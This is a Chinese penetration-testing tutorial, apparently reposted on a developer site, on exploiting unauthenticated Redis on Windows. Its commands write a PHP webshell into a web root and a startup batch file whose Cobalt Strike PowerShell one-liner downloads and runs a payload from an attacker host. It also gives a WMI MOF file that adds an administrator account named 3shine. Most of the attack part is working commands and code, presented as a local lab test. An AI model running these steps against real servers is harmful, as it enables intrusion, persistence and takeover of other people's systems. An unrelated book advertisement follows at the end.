内容简介:在某次内网渗透中遇到了redis+windows的环境,由于目标较为敏感因此在本地和uknow大佬一起进行了测试,也因此有了下面的文章。首先下载windows版本的redis
在某次内网渗透中遇到了redis+windows的环境,由于目标较为敏感因此在本地和uknow大佬一起进行了测试,也因此有了下面的文章。
环境搭建
首先下载windows版本的redis
https://github.com/dmajkic/redis/downloads
下载的 Redis 包含32位和64位操作系统,根据自己实际情况选择,本次测试使用的是64位系统。
切换到对应目录,命令行下输入 redis-server.exe redis.conf
运行redis
查看端口6379已经开放,说明Redis启动成功。
在本机使用telnet 连接靶机 telnet 192.168.1.101 6379
连接后输入info查看是否成功
也可以通过redis-cli.exe来进行连接
对于windows下的获取权限的方式,网上并不是很多,但是对于Redis未授权漏洞的利用,其最根本的原理就是写文件的利用,个人简单概括一下大致的几种(可能有考虑不周的,大佬们轻喷)
1、能够获取web绝对路径的,直接写入webshell
2、写入启动项
3、写入mof、dll劫持等
漏洞利用
写入webshell
第一种写入webshell,需要通过phpinfo或其他的报错方式来获取网站绝对路径
然后通过执行如下命令获取shell
C:UsershpDesktop64bit>redis-cli.exe -h 192.168.1.101 -p 6379
redis 192.168.1.101:6379> CONFIG SET dir c:/phpstudy/www
OK
redis 192.168.1.101:6379> CONFIG SET dbfilename evil.php
OK
redis 192.168.1.101:6379> set x “<?php phpinfo();?>”
OK
redis 192.168.1.101:6379> save
OK
查看webshell地址
写入启动项
第二种写入启动项也是和在 linux 环境下如果无法获取webshell或写入ssh-keygen情况下写入启动项一样的原理。
windows下的开机启动项的目录为
C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/
这边有个小细节,由于Start Menu之间有空格,因此需要用双引号将路径包含。
这种情况下获取 shell 的方式可以使用mshta,具体可以参考ukonw大佬的博客
https://uknowsec.cn/posts/notes/Redis%E5%9C%A8Windows%E7%8E%AF%E5%A2%83%E4%B8%8BGetshell.html
另外的方式也有很多,内网中我现在比较喜欢msf和CS的结合,这边使用Cobalt Strike也举个栗子。
先启动CS服务端 ,命令如下:
root@kali:~/cobaltstrike# ./teamserver 192.168.1.105 233
在启动客户端,输入密码和地址
添加一个Listener 监听器
选择Attacks – Web Drive-By – Script Web Delivery,选择刚才添加的Listener
点击Launch之后生成如下代码
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.105:80/a'))"
直接保存为1.bat即可
其中存在两个小细节,一个是由于dbfile本身是有内容的,因此命令要正常运行必须先换行,经过测试需要两个换行符rn才能正常运行,还有一个是由于本身执行命令中也有双引号,因此需要加入转义
C:UsershpDesktop64bit>redis-cli.exe -h 192.168.1.101 -p 6379
redis 192.168.1.101:6379>config set dir “C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/“
OK
redis 192.168.1.101:6379> CONFIG SET dbfilename 1.bat
OK
redis 192.168.1.101:6379>set x “rnrnpowershell.exe -nop -w hidden -c ”IEX ((new-object net.webclient).downloadstring(‘ http://192.168.1.105:80/a’))”rnrn”
OK
redis 192.168.1.101:6379> save
OK
查看服务器启动项,发现正常写入命令
重启机器,服务器就上线了。
写入MOF
这个也是本次文章的原因,由于不能重启机器也无法获取web目录,想到Mof提权,不过也是有环境限制只能为win2003,也是由于当年玩提权时候很多时候都是找最简方式提权,所以没尝试过这种老式的提权方式,这次也算弥补了一下技术遗憾。
简单描述一下mof提权的原理:
mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做”托管对象格式”其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了 mysql 的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。
也就是说在 c:/windows/system32/wbem/mof/
目录下的mof文件会每5秒自动执行一次,这样就不需要重启机器就能获取权限了。
emmm 这个操作和写入ssh keygen类似,因此还是建议在linux下完成。
首先将如下代码保存为mof文件:
#pragma namespace("\\.\root\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa "Win32_LocalTime" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject("WScript.Shell")nWSH.run("net.exe user 3shine admin /add")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
此处要执行的命令为添加名为3shine的用户
然后执行
(echo -e "nn"; cat 3shine.txt; echo -e "nn") > foo.txt
切换到redis目录,运行如下命令
过一会就看到用户添加成功了。
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- solr未授权访问漏洞的利用
- 利用CouchDB未授权访问漏洞执行任意系统命令
- 首个Spark REST API未授权漏洞利用分析
- 利用Spring Social轻松搞定微信授权登录 原 荐
- Couchdb未授权访问可执行系统命令(利用cloudeye神器回显)
- 事件分析 | 一起攻击者利用 Redis 未授权访问漏洞进行新型入侵挖矿事件
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
The Golden Ticket
Lance Fortnow / Princeton University Press / 2013-3-31 / USD 26.95
The P-NP problem is the most important open problem in computer science, if not all of mathematics. The Golden Ticket provides a nontechnical introduction to P-NP, its rich history, and its algorithmi......一起来看看 《The Golden Ticket》 这本书的介绍吧!